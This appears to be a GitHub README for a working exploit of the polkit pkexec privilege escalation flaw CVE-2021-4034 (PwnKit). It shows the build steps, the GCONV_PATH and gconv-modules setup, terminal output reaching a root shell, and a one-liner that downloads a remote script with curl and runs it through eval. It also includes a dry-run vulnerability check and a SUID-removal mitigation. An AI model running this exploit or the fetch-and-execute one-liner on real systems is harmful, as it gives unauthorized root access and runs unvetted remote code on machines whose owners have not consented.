92 lines
3.0 KiB
Markdown
92 lines
3.0 KiB
Markdown
# CVE-2021-4034
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One day for the polkit privilege escalation exploit
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Just execute `make`, `./cve-2021-4034` and enjoy your root shell.
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The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
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## PoC
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If the exploit is working you'll get a root shell immediately:
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```bash
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vagrant@ubuntu-impish:~/CVE-2021-4034$ make
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cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
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cc -Wall cve-2021-4034.c -o cve-2021-4034
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echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
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mkdir -p GCONV_PATH=.
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cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
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vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
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# whoami
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root
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# exit
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```
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Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
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```bash
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vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
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pkexec --version |
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--help |
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--disable-internal-agent |
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[--user username] PROGRAM [ARGUMENTS...]
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See the pkexec manual page for more details.
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vagrant@ubuntu-impish:~/CVE-2021-4034$
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```
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## Dry Run
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To not execute a shell but just test if the system is vulnerable compile the `dry-run` target.
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If the program exit printing "root" it means that your system is vulnerable to the exploit.
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```bash
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vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
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...
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vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
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root
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vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
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1
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```
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If your system is not vulnerable it prints an error and exit.
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```bash
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vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
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pkexec --version |
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--help |
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--disable-internal-agent |
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[--user username] PROGRAM [ARGUMENTS...]
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See the pkexec manual page for more details.
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vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
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0
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```
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## About Polkit pkexec for Linux
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Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
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# One-liner commands
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You can easily exploit the system using a single script, downloadable and executable with this command:
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```sh
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eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
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```
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```bash
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vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
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vagrant
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vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
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cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
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cc -Wall cve-2021-4034.c -o cve-2021-4034
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echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
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mkdir -p GCONV_PATH=.
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cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
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whoami
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root
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```
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# Mitigation
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If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.
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```
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chmod 0755 /usr/bin/pkexec
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``` |